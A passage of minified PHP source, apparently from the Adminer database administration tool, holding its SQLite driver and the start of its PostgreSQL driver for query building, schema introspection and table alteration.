selectQueryBuild($L,$Z,$fe,$Ag,$y,$D);if(!$F)$F="SELECT".limit(($_GET["page"]!="last"&&$y!=""&&$fe&&$Re&&$w=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$L)."\nFROM ".table($R),($Z?"\nWHERE ".implode(" AND ",$Z):"").($fe&&$Re?"\nGROUP BY ".implode(", ",$fe):"").($Ag?"\nORDER BY ".implode(", ",$Ag):""),($y!=""?+$y:null),($D?$y*$D:0),"\n");$Li=microtime(true);$H=$this->_conn->query($F);if($th)echo$b->selectQuery($F,$Li,!$H);return$H;}function
delete($R,$Dh,$y=0){$F="FROM ".table($R);return
queries("DELETE".($y?limit1($R,$F,$Dh):" $F$Dh"));}function
update($R,$O,$Dh,$y=0,$M="\n"){$hk=array();foreach($O
as$x=>$X)$hk[]="$x = $X";$F=table($R)." SET$M".implode(",$M",$hk);return
queries("UPDATE".($y?limit1($R,$F,$Dh,$M):" $F$Dh"));}function
insert($R,$O){return
queries("INSERT INTO ".table($R).($O?" (".implode(", ",array_keys($O)).")\nVALUES (".implode(", ",$O).")":" DEFAULT VALUES"));}function
insertUpdate($R,$J,$rh){return
false;}function
begin(){return
queries("BEGIN");}function
commit(){return
queries("COMMIT");}function
rollback(){return
queries("ROLLBACK");}function
slowQuery($F,$pj){}function
convertSearch($t,$X,$n){return$t;}function
value($X,$n){return(method_exists($this->_conn,'value')?$this->_conn->value($X,$n):(is_resource($X)?stream_get_contents($X):$X));}function
quoteBinary($K){return
q($K);}function
warnings(){return'';}function
tableHelp($A){}}$Hc["sqlite"]="SQLite 3";$Hc["sqlite2"]="SQLite 2";if(isset($_GET["sqlite"])||isset($_GET["sqlite2"])){$oh=array((isset($_GET["sqlite"])?"SQLite3":"SQLite"),"PDO_SQLite");define("DRIVER",(isset($_GET["sqlite"])?"sqlite":"sqlite2"));if(class_exists(isset($_GET["sqlite"])?"SQLite3":"SQLiteDatabase")){if(isset($_GET["sqlite"])){class
Min_SQLite{var$extension="SQLite3",$server_info,$affected_rows,$errno,$error,$_link;function
__construct($Id){$this->_link=new
SQLite3($Id);$kk=$this->_link->version();$this->server_info=$kk["versionString"];}function
query($F){$G=@$this->_link->query($F);$this->error="";if(!$G){$this->errno=$this->_link->lastErrorCode();$this->error=$this->_link->lastErrorMsg();return
false;}elseif($G->numColumns())return
new
Min_Result($G);$this->affected_rows=$this->_link->changes();return
true;}function
quote($Q){return(is_utf8($Q)?"'".$this->_link->escapeString($Q)."'":"x'".reset(unpack('H*',$Q))."'");}function
store_result(){return$this->_result;}function
result($F,$n=0){$G=$this->query($F);if(!is_object($G))return
false;$I=$G->_result->fetchArray();return$I[$n];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($G){$this->_result=$G;}function
fetch_assoc(){return$this->_result->fetchArray(SQLITE3_ASSOC);}function
fetch_row(){return$this->_result->fetchArray(SQLITE3_NUM);}function
fetch_field(){$d=$this->_offset++;$U=$this->_result->columnType($d);return(object)array("name"=>$this->_result->columnName($d),"type"=>$U,"charsetnr"=>($U==SQLITE3_BLOB?63:0),);}function
__desctruct(){return$this->_result->finalize();}}}else{class
Min_SQLite{var$extension="SQLite",$server_info,$affected_rows,$error,$_link;function
__construct($Id){$this->server_info=sqlite_libversion();$this->_link=new
SQLiteDatabase($Id);}function
query($F,$Oj=false){$Nf=($Oj?"unbufferedQuery":"query");$G=@$this->_link->$Nf($F,SQLITE_BOTH,$m);$this->error="";if(!$G){$this->error=$m;return
false;}elseif($G===true){$this->affected_rows=$this->changes();return
true;}return
new
Min_Result($G);}function
quote($Q){return"'".sqlite_escape_string($Q)."'";}function
store_result(){return$this->_result;}function
result($F,$n=0){$G=$this->query($F);if(!is_object($G))return
false;$I=$G->_result->fetch();return$I[$n];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($G){$this->_result=$G;if(method_exists($G,'numRows'))$this->num_rows=$G->numRows();}function
fetch_assoc(){$I=$this->_result->fetch(SQLITE_ASSOC);if(!$I)return
false;$H=array();foreach($I
as$x=>$X)$H[($x[0]=='"'?idf_unescape($x):$x)]=$X;return$H;}function
fetch_row(){return$this->_result->fetch(SQLITE_NUM);}function
fetch_field(){$A=$this->_result->fieldName($this->_offset++);$fh='(\[.*]|"(?:[^"]|"")*"|(.+))';if(preg_match("~^($fh\\.)?$fh\$~",$A,$_)){$R=($_[3]!=""?$_[3]:idf_unescape($_[2]));$A=($_[5]!=""?$_[5]:idf_unescape($_[4]));}return(object)array("name"=>$A,"orgname"=>$A,"orgtable"=>$R,);}}}}elseif(extension_loaded("pdo_sqlite")){class
Min_SQLite
extends
Min_PDO{var$extension="PDO_SQLite";function
__construct($Id){$this->dsn(DRIVER.":$Id","","");}}}if(class_exists("Min_SQLite")){class
Min_DB
extends
Min_SQLite{function
__construct(){parent::__construct(":memory:");$this->query("PRAGMA foreign_keys = 1");}function
select_db($Id){if(is_readable($Id)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\\\]|:)~",$Id)?$Id:dirname($_SERVER["SCRIPT_FILENAME"])."/$Id")." AS a")){parent::__construct($Id);$this->query("PRAGMA foreign_keys = 1");return
true;}return
false;}function
multi_query($F){return$this->_result=$this->query($F);}function
next_result(){return
false;}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($R,$J,$rh){$hk=array();foreach($J
as$O)$hk[]="(".implode(", ",$O).")";return
queries("REPLACE INTO ".table($R)." (".implode(", ",array_keys(reset($J))).") VALUES\n".implode(",\n",$hk));}function
tableHelp($A){if($A=="sqlite_sequence")return"fileformat2.html#seqtab";if($A=="sqlite_master")return"fileformat2.html#$A";}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;list(,,$E)=$b->credentials();if($E!="")return
lang(20);return
new
Min_DB;}function
get_databases(){return
array();}function
limit($F,$Z,$y,$B=0,$M=" "){return" $F$Z".($y!==null?$M."LIMIT $y".($B?" OFFSET $B":""):"");}function
limit1($R,$F,$Z,$M="\n"){global$g;return(preg_match('~^INTO~',$F)||$g->result("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($F,$Z,1,0,$M):" $F WHERE rowid = (SELECT rowid FROM ".table($R).$Z.$M."LIMIT 1)");}function
db_collation($k,$Gb){global$g;return$g->result("PRAGMA encoding");}function
engines(){return
array();}function
logged_user(){return
get_current_user();}function
tables_list(){return
get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name");}function
count_tables($j){return
array();}function
table_status($A=""){global$g;$H=array();foreach(get_rows("SELECT name AS Name, type AS Engine, 'rowid' AS Oid, '' AS Auto_increment FROM sqlite_master WHERE type IN ('table', 'view') ".($A!=""?"AND name = ".q($A):"ORDER BY name"))as$I){$I["Rows"]=$g->result("SELECT COUNT(*) FROM ".idf_escape($I["Name"]));$H[$I["Name"]]=$I;}foreach(get_rows("SELECT * FROM sqlite_sequence",null,"")as$I)$H[$I["name"]]["Auto_increment"]=$I["seq"];return($A!=""?$H[$A]:$H);}function
is_view($S){return$S["Engine"]=="view";}function
fk_support($S){global$g;return!$g->result("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function
fields($R){global$g;$H=array();$rh="";foreach(get_rows("PRAGMA table_info(".table($R).")")as$I){$A=$I["name"];$U=strtolower($I["type"]);$sc=$I["dflt_value"];$H[$A]=array("field"=>$A,"type"=>(preg_match('~int~i',$U)?"integer":(preg_match('~char|clob|text~i',$U)?"text":(preg_match('~blob~i',$U)?"blob":(preg_match('~real|floa|doub~i',$U)?"real":"numeric")))),"full_type"=>$U,"default"=>(preg_match("~'(.*)'~",$sc,$_)?str_replace("''","'",$_[1]):($sc=="NULL"?null:$sc)),"null"=>!$I["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1),"primary"=>$I["pk"],);if($I["pk"]){if($rh!="")$H[$rh]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$U))$H[$A]["auto_increment"]=true;$rh=$A;}}$Gi=$g->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));preg_match_all('~(("[^"]*+")+|[a-z0-9_]+)\s+text\s+COLLATE\s+(\'[^\']+\'|\S+)~i',$Gi,$_f,PREG_SET_ORDER);foreach($_f
as$_){$A=str_replace('""','"',preg_replace('~^"|"$~','',$_[1]));if($H[$A])$H[$A]["collation"]=trim($_[3],"'");}return$H;}function
indexes($R,$h=null){global$g;if(!is_object($h))$h=$g;$H=array();$Gi=$h->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));if(preg_match('~\bPRIMARY\s+KEY\s*\((([^)"]+|"[^"]*"|`[^`]*`)++)~i',$Gi,$_)){$H[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+|(?:`[^`]*+`)+)|(\S+))(\s+(ASC|DESC))?(,\s*|$)~i',$_[1],$_f,PREG_SET_ORDER);foreach($_f
as$_){$H[""]["columns"][]=idf_unescape($_[2]).$_[4];$H[""]["descs"][]=(preg_match('~DESC~i',$_[5])?'1':null);}}if(!$H){foreach(fields($R)as$A=>$n){if($n["primary"])$H[""]=array("type"=>"PRIMARY","columns"=>array($A),"lengths"=>array(),"descs"=>array(null));}}$Ji=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($R),$h);foreach(get_rows("PRAGMA index_list(".table($R).")",$h)as$I){$A=$I["name"];$u=array("type"=>($I["unique"]?"UNIQUE":"INDEX"));$u["lengths"]=array();$u["descs"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($A).")",$h)as$fi){$u["columns"][]=$fi["name"];$u["descs"][]=null;}if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($A).' ON '.idf_escape($R),'~').' \((.*)\)$~i',$Ji[$A],$Ph)){preg_match_all('/("[^"]*+")+( DESC)?/',$Ph[2],$_f);foreach($_f[2]as$x=>$X){if($X)$u["descs"][$x]='1';}}if(!$H[""]||$u["type"]!="UNIQUE"||$u["columns"]!=$H[""]["columns"]||$u["descs"]!=$H[""]["descs"]||!preg_match("~^sqlite_~",$A))$H[$A]=$u;}return$H;}function
foreign_keys($R){$H=array();foreach(get_rows("PRAGMA foreign_key_list(".table($R).")")as$I){$p=&$H[$I["id"]];if(!$p)$p=$I;$p["source"][]=$I["from"];$p["target"][]=$I["to"];}return$H;}function
view($A){global$g;return
array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* AS\s+~iU','',$g->result("SELECT sql FROM sqlite_master WHERE name = ".q($A))));}function
collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function
information_schema($k){return
false;}function
error(){global$g;return
h($g->error);}function
check_sqlite_name($A){global$g;$td="db|sdb|sqlite";if(!preg_match("~^[^\\0]*\\.($td)\$~",$A)){$g->error=lang(21,str_replace("|",", ",$td));return
false;}return
true;}function
create_database($k,$Fb){global$g;if(file_exists($k)){$g->error=lang(22);return
false;}if(!check_sqlite_name($k))return
false;try{$z=new
Min_SQLite($k);}catch(Exception$jd){$g->error=$jd->getMessage();return
false;}$z->query('PRAGMA encoding = "UTF-8"');$z->query('CREATE TABLE adminer (i)');$z->query('DROP TABLE adminer');return
true;}function
drop_databases($j){global$g;$g->__construct(":memory:");foreach($j
as$k){if(!@unlink($k)){$g->error=lang(22);return
false;}}return
true;}function
rename_database($A,$Fb){global$g;if(!check_sqlite_name($A))return
false;$g->__construct(":memory:");$g->error=lang(22);return@rename(DB,$A);}function
auto_increment(){return" PRIMARY KEY".(DRIVER=="sqlite"?" AUTOINCREMENT":"");}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){global$g;$ak=($R==""||$Td);foreach($o
as$n){if($n[0]!=""||!$n[1]||$n[2]){$ak=true;break;}}$c=array();$Jg=array();foreach($o
as$n){if($n[1]){$c[]=($ak?$n[1]:"ADD ".implode($n[1]));if($n[0]!="")$Jg[$n[0]]=$n[1][0];}}if(!$ak){foreach($c
as$X){if(!queries("ALTER TABLE ".table($R)." $X"))return
false;}if($R!=$A&&!queries("ALTER TABLE ".table($R)." RENAME TO ".table($A)))return
false;}elseif(!recreate_table($R,$A,$c,$Jg,$Td,$Ta))return
false;if($Ta){queries("BEGIN");queries("UPDATE sqlite_sequence SET seq = $Ta WHERE name = ".q($A));if(!$g->affected_rows)queries("INSERT INTO sqlite_sequence (name, seq) VALUES (".q($A).", $Ta)");queries("COMMIT");}return
true;}function
recreate_table($R,$A,$o,$Jg,$Td,$Ta,$v=array()){global$g;if($R!=""){if(!$o){foreach(fields($R)as$x=>$n){if($v)$n["auto_increment"]=0;$o[]=process_field($n,$n);$Jg[$x]=idf_escape($x);}}$sh=false;foreach($o
as$n){if($n[6])$sh=true;}$Kc=array();foreach($v
as$x=>$X){if($X[2]=="DROP"){$Kc[$X[1]]=true;unset($v[$x]);}}foreach(indexes($R)as$Ze=>$u){$e=array();foreach($u["columns"]as$x=>$d){if(!$Jg[$d])continue
2;$e[]=$Jg[$d].($u["descs"][$x]?" DESC":"");}if(!$Kc[$Ze]){if($u["type"]!="PRIMARY"||!$sh)$v[]=array($u["type"],$Ze,$e);}}foreach($v
as$x=>$X){if($X[0]=="PRIMARY"){unset($v[$x]);$Td[]=" PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($R)as$Ze=>$p){foreach($p["source"]as$x=>$d){if(!$Jg[$d])continue
2;$p["source"][$x]=idf_unescape($Jg[$d]);}if(!isset($Td[" $Ze"]))$Td[]=" ".format_foreign_key($p);}queries("BEGIN");}foreach($o
as$x=>$n)$o[$x]=" ".implode($n);$o=array_merge($o,array_filter($Td));$ij=($R==$A?"adminer_$A":$A);if(!queries("CREATE TABLE ".table($ij)." (\n".implode(",\n",$o)."\n)"))return
false;if($R!=""){if($Jg&&!queries("INSERT INTO ".table($ij)." (".implode(", ",$Jg).") SELECT ".implode(", ",array_map('idf_escape',array_keys($Jg)))." FROM ".table($R)))return
false;$Kj=array();foreach(triggers($R)as$Ij=>$qj){$Hj=trigger($Ij);$Kj[]="CREATE TRIGGER ".idf_escape($Ij)." ".implode(" ",$qj)." ON ".table($A)."\n$Hj[Statement]";}$Ta=$Ta?0:$g->result("SELECT seq FROM sqlite_sequence WHERE name = ".q($R));if(!queries("DROP TABLE ".table($R))||($R==$A&&!queries("ALTER TABLE ".table($ij)." RENAME TO ".table($A)))||!alter_indexes($A,$v))return
false;if($Ta)queries("UPDATE sqlite_sequence SET seq = $Ta WHERE name = ".q($A));foreach($Kj
as$Hj){if(!queries($Hj))return
false;}queries("COMMIT");}return
true;}function
index_sql($R,$U,$A,$e){return"CREATE $U ".($U!="INDEX"?"INDEX ":"").idf_escape($A!=""?$A:uniqid($R."_"))." ON ".table($R)." $e";}function
alter_indexes($R,$c){foreach($c
as$rh){if($rh[0]=="PRIMARY")return
recreate_table($R,$R,array(),array(),array(),0,$c);}foreach(array_reverse($c)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($R,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return
false;}return
true;}function
truncate_tables($T){return
apply_queries("DELETE FROM",$T);}function
drop_views($mk){return
apply_queries("DROP VIEW",$mk);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
move_tables($T,$mk,$fj){return
false;}function
trigger($A){global$g;if($A=="")return
array("Statement"=>"BEGIN\n\t;\nEND");$t='(?:[^`"\s]+|`[^`]*`|"[^"]*")+';$Jj=trigger_options();preg_match("~^CREATE\\s+TRIGGER\\s*$t\\s*(".implode("|",$Jj["Timing"]).")\\s+([a-z]+)(?:\\s+OF\\s+($t))?\\s+ON\\s*$t\\s*(?:FOR\\s+EACH\\s+ROW\\s)?(.*)~is",$g->result("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($A)),$_);$jg=$_[3];return
array("Timing"=>strtoupper($_[1]),"Event"=>strtoupper($_[2]).($jg?" OF":""),"Of"=>($jg[0]=='`'||$jg[0]=='"'?idf_unescape($jg):$jg),"Trigger"=>$A,"Statement"=>$_[4],);}function
triggers($R){$H=array();$Jj=trigger_options();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R))as$I){preg_match('~^CREATE\s+TRIGGER\s*(?:[^`"\s]+|`[^`]*`|"[^"]*")+\s*('.implode("|",$Jj["Timing"]).')\s*(.*?)\s+ON\b~i',$I["sql"],$_);$H[$I["name"]]=array($_[1],$_[2]);}return$H;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
begin(){return
queries("BEGIN");}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ROWID()");}function
explain($g,$F){return$g->query("EXPLAIN QUERY PLAN $F");}function
found_rows($S,$Z){}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ji){return
true;}function
create_sql($R,$Ta,$Qi){global$g;$H=$g->result("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($R));foreach(indexes($R)as$A=>$u){if($A=='')continue;$H.=";\n\n".index_sql($R,$u['type'],$A,"(".implode(", ",array_map('idf_escape',$u['columns'])).")");}return$H;}function
truncate_sql($R){return"DELETE FROM ".table($R);}function
use_sql($i){}function
trigger_sql($R){return
implode(get_vals("SELECT sql || ';;\n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R)));}function
show_variables(){global$g;$H=array();foreach(array("auto_vacuum","cache_size","count_changes","default_cache_size","empty_result_callbacks","encoding","foreign_keys","full_column_names","fullfsync","journal_mode","journal_size_limit","legacy_file_format","locking_mode","page_size","max_page_count","read_uncommitted","recursive_triggers","reverse_unordered_selects","secure_delete","short_column_names","synchronous","temp_store","temp_store_directory","schema_version","integrity_check","quick_check")as$x)$H[$x]=$g->result("PRAGMA $x");return$H;}function
show_status(){$H=array();foreach(get_vals("PRAGMA compile_options")as$yg){list($x,$X)=explode("=",$yg,2);$H[$x]=$X;}return$H;}function
convert_field($n){}function
unconvert_field($n,$H){return$H;}function
support($Ad){return
preg_match('~^(columns|database|drop_col|dump|indexes|descidx|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Ad);}$w="sqlite";$Nj=array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0);$Pi=array_keys($Nj);$Uj=array();$wg=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");$be=array("hex","length","lower","round","unixepoch","upper");$ie=array("avg","count","count distinct","group_concat","max","min","sum");$Tc=array(array(),array("integer|real|numeric"=>"+/-","text"=>"||",));}$Hc["pgsql"]="PostgreSQL";if(isset($_GET["pgsql"])){$oh=array("PgSQL","PDO_PgSQL");define("DRIVER","pgsql");if(extension_loaded("pgsql")){class
Min_DB{var$extension="PgSQL",$_link,$_result,$_string,$_database=true,$server_info,$affected_rows,$error,$timeout;function
_error($fd,$m){if(ini_bool("html_errors"))$m=html_entity_decode(strip_tags($m));$m=preg_replace('~^[^:]*: ~','',$m);$this->error=$m;}function
connect($N,$V,$E){global$b;$k=$b->database();set_error_handler(array($this,'_error'));$this->_string="host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' user='".addcslashes($V,"'\\")."' password='".addcslashes($E,"'\\")."'";$this->_link=@pg_connect("$this->_string dbname='".($k!=""?addcslashes($k,"'\\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->_link&&$k!=""){$this->_database=false;$this->_link=@pg_connect("$this->_string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->_link){$kk=pg_version($this->_link);$this->server_info=$kk["server"];pg_set_client_encoding($this->_link,"UTF8");}return(bool)$this->_link;}function
quote($Q){return"'".pg_escape_string($this->_link,$Q)."'";}function
value($X,$n){return($n["type"]=="bytea"?pg_unescape_bytea($X):$X);}function
quoteBinary($Q){return"'".pg_escape_bytea($this->_link,$Q)."'";}function
select_db($i){global$b;if($i==$b->database())return$this->_database;$H=@pg_connect("$this->_string dbname='".addcslashes($i,"'\\")."'",PGSQL_CONNECT_FORCE_NEW);if($H)$this->_link=$H;return$H;}function
close(){$this->_link=@pg_connect("$this->_string dbname='postgres'");}function
query($F,$Oj=false){$G=@pg_query($this->_link,$F);$this->error="";if(!$G){$this->error=pg_last_error($this->_link);$H=false;}elseif(!pg_num_fields($G)){$this->affected_rows=pg_affected_rows($G);$H=true;}else$H=new
Min_Result($G);if($this->timeout){$this->timeout=0;$this->query("RESET statement_timeout");}return$H;}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($F,$n=0){$G=$this->query($F);if(!$G||!$G->num_rows)return
false;return
pg_fetch_result($G->_result,0,$n);}function
warnings(){return
h(pg_last_notice($this->_link));}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($G){$this->_result=$G;$this->num_rows=pg_num_rows($G);}function
fetch_assoc(){return
pg_fetch_assoc($this->_result);}function
fetch_row(){return
pg_fetch_row($this->_result);}function
fetch_field(){$d=$this->_offset++;$H=new
stdClass;if(function_exists('pg_field_table'))$H->orgtable=pg_field_table($this->_result,$d);$H->name=pg_field_name($this->_result,$d);$H->orgname=$H->name;$H->type=pg_field_type($this->_result,$d);$H->charsetnr=($H->type=="bytea"?63:0);return$H;}function
__destruct(){pg_free_result($this->_result);}}}elseif(extension_loaded("pdo_pgsql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_PgSQL",$timeout;function
connect($N,$V,$E){global$b;$k=$b->database();$Q="pgsql:host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' options='-c client_encoding=utf8'";$this->dsn("$Q dbname='".($k!=""?addcslashes($k,"'\\"):"postgres")."'",$V,$E);return
true;}function
select_db($i){global$b;return($b->database()==$i);}function
quoteBinary($K){return
q($K);}function
query($F,$Oj=false){$H=parent::query($F,$Oj);if($this->timeout){$this->timeout=0;parent::query("RESET statement_timeout");}return$H;}function
warnings(){return'';}function
close(){}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($R,$J,$rh){global$g;foreach($J
as$O){$Vj=array();$Z=array();foreach($O
as$x=>$X){$Vj[]="$x = $X";if(isset($rh[idf_unescape($x)]))$Z[]="$x = $X";}if(!(($Z&&queries("UPDATE ".table($R)." SET ".implode(", ",$Vj)." WHERE ".implode(" AND ",$Z))&&$g->affected_rows)||queries("INSERT INTO ".table($R)." (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).")")))return
false;}return
true;}function
slowQuery($F,$pj){$this->_conn->query("SET statement_timeout = ".(1000*$pj));$this->_conn->timeout=1000*$pj;return$F;}function
convertSearch($t,$X,$n){return(preg_match('~char|text'.(!preg_match('~LIKE~',$X["op"])?'|date|time(stamp)?|boolean|uuid|'.number_type():'').'~',$n["type"])?$t:"CAST($t AS text)");}function
quoteBinary($K){return$this->_conn->quoteBinary($K);}function
warnings(){return$this->_conn->warnings();}function
tableHelp($A){$rf=array("information_schema"=>"infoschema","pg_catalog"=>"catalog",);$z=$rf[$_GET["ns"]];if($z)return"$z-".str_replace("_","-",$A).".html";}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b,$Nj,$Pi;$g=new
Min_DB;$dc=$b->credentials();if($g->connect($dc[0],$dc[1],$dc[2])){if(min_version(9,0,$g)){$g->query("SET application_name = 'Adminer'");if(min_version(9.2,0,$g)){$Pi[lang(23)][]="json";$Nj["json"]=4294967295;if(min_version(9.4,0,$g)){$Pi[lang(23)][]="jsonb";$Nj["jsonb"]=4294967295;}}}return$g;}return$g->error;}function
get_databases(){return
get_vals("SELECT datname FROM pg_database WHERE has_database_privilege(datname, 'CONNECT') ORDER BY datname");}function
limit($F,$Z,$y,$B=0,$M=" "){return" $F$Z".($y!==null?$M."LIMIT $y".($B?" OFFSET $B":""):"");}function
limit1($R,$F,$Z,$M="\n"){return(preg_match('~^INTO~',$F)?limit($F,$Z,1,0,$M):" $F".(is_view(table_status1($R))?$Z:" WHERE ctid = (SELECT ctid FROM ".table($R).$Z.$M."LIMIT 1)"));}function
db_collation($k,$Gb){global$g;return$g->result("SHOW LC_COLLATE");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT user");}function
tables_list(){$F="SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema()";if(support('materializedview'))$F.="
UNION ALL
SELECT matviewname, 'MATERIALIZED VIEW'
FROM pg_matviews
WHERE schemaname = current_schema()";$F.="
ORDER BY 1";return
get_key_vals($F);}function
count_tables($j){return
array();}function
table_status($A=""){$H=array();foreach(get_rows("SELECT c.relname AS \"Name\", CASE c.relkind WHEN 'r' THEN 'table' WHEN 'm' THEN 'materialized view' ELSE 'view' END AS \"Engine\", pg_relation_size(c.oid) AS \"Data_length\", pg_total_relation_size(c.oid) - pg_relation_size(c.oid) AS \"Index_length\", obj_description(c.oid, 'pg_class') AS \"Comment\", ".(min_version(12)?"''":"CASE WHEN c.relhasoids THEN 'oid' ELSE '' END")." AS \"Oid\", c.reltuples as \"Rows\", n.nspname
FROM pg_class c
JOIN pg_namespace n ON(n.nspname = current_schema() AND n.oid = c.relnamespace)
WHERE relkind IN ('r', 'm', 'v', 'f')
".($A!=""?"AND relname = ".q($A):"ORDER BY relname"))as$I)$H[$I["Name"]]=$I;return($A!=""?$H[$A]:$H);}function
is_view($S){return
in_array($S["Engine"],array("view","materialized view"));}function
fk_support($S){return
true;}function
fields($R){$H=array();$Ia=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);$xe=min_version(10)?"(a.attidentity = 'd')::int":'0';foreach(get_rows("SELECT a.attname AS field, format_type(a.atttypid, a.atttypmod) AS full_type, pg_get_expr(d.adbin, d.adrelid) AS default, a.attnotnull::int, col_description(c.oid, a.attnum) AS comment, $xe AS identity
FROM pg_class c
JOIN pg_namespace n ON c.relnamespace = n.oid
JOIN pg_attribute a ON c.oid = a.attrelid
LEFT JOIN pg_attrdef d ON c.oid = d.adrelid AND a.attnum = d.adnum
WHERE c.relname = ".q($R)."
AND n.nspname = current_schema()
AND NOT a.attisdropped
AND a.attnum > 0
ORDER BY a.attnum")as$I){preg_match('~([^([]+)(\((.*)\))?([a-z ]+)?((\[[0-9]*])*)$~',$I["full_type"],$_);list(,$U,$of,$I["length"],$_a,$Ma)=$_;$I["length"].=$Ma;$rb=$U.$_a;if(isset($Ia[$rb])){$I["type"]=$Ia[$rb];$I["full_type"]=$I["type"].$of.$Ma;}else{$I["type"]=$U;$I["full_type"]=$I["type"].$of.$_a.$Ma;}if($I['identity'])$I['default']='GENERATED BY DEFAULT AS IDENTITY';$I["null"]=!$I["attnotnull"];$I["auto_increment"]=$I['identity']||preg_match('~^nextval\(~i',$I["default"]);$I["privileges"]=array("insert"=>1,"select"=>1,"update"=>1);if(preg_match('~(.+)::[^)]+(.*)~',$I["default"],$_))$I["default"]=($_[1]=="NULL"?null:(($_[1][0]=="'"?idf_unescape($_[1]):$_[1]).$_[2]));$H[$I["field"]]=$I;}return$H;}function
indexes($R,$h=null){global$g;if(!is_object($h))$h=$g;$H=array();$Yi=$h->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($R));$e=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $Yi AND attnum > 0",$h);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption , (indpred IS NOT NULL)::int as indispartial FROM pg_index i, pg_class ci WHERE i.indrelid = $Yi AND ci.oid = i.indexrelid",$h)as$I){$Qh=$I["relname"];$H[$Qh]["type"]=($I["indispartial"]?"INDEX":($I["indisprimary"]?"PRIMARY":($I["indisunique"]?"UNIQUE":"INDEX")));$H[$Qh]["columns"]=array();foreach(explode(" ",$I["indkey"])as$Ge)$H[$Qh]["columns"][]=$e[$Ge];$H[$Qh]["descs"]=array();foreach(explode(" ",$I["indoption"])as$He)$H[$Qh]["descs"][]=($He&1?'1':null);$H[$Qh]["lengths"]=array();}return$H;}function
foreign_keys($R){global$rg;$H=array();foreach(get_rows("SELECT conname, condeferrable::int AS deferrable, pg_get_constraintdef(oid) AS definition
FROM pg_constraint
WHERE conrelid = (SELECT pc.oid FROM pg_class AS pc INNER JOIN pg_namespace AS pn ON (pn.oid = pc.relnamespace) WHERE pc.relname = ".q($R)." AND pn.nspname = current_schema())
AND contype = 'f'::char
ORDER BY conkey, conname")as$I){if(preg_match('~FOREIGN KEY\s*\((.+)\)\s*REFERENCES (.+)\((.+)\)(.*)$~iA',$I['definition'],$_)){$I['source']=array_map('trim',explode(',',$_[1]));if(preg_match('~^(("([^"]|"")+"|[^"]+)\.)?"?("([^"]|"")+"|[^"]+)$~',$_[2],$zf)){$I['ns']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$zf[2]));$I['table']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$zf[4]));}$I['target']=array_map('trim',explode(',',$_[3]));$I['on_delete']=(preg_match("~ON DELETE ($rg)~",$_[4],$zf)?$zf[1]:'NO ACTION');$I['on_update']=(preg_match("~ON UPDATE ($rg)~",$_[4],$zf)?$zf[1]:'NO ACTION');$H[$I['conname']]=$I;}}return$H;}function
view($A){global$g;return
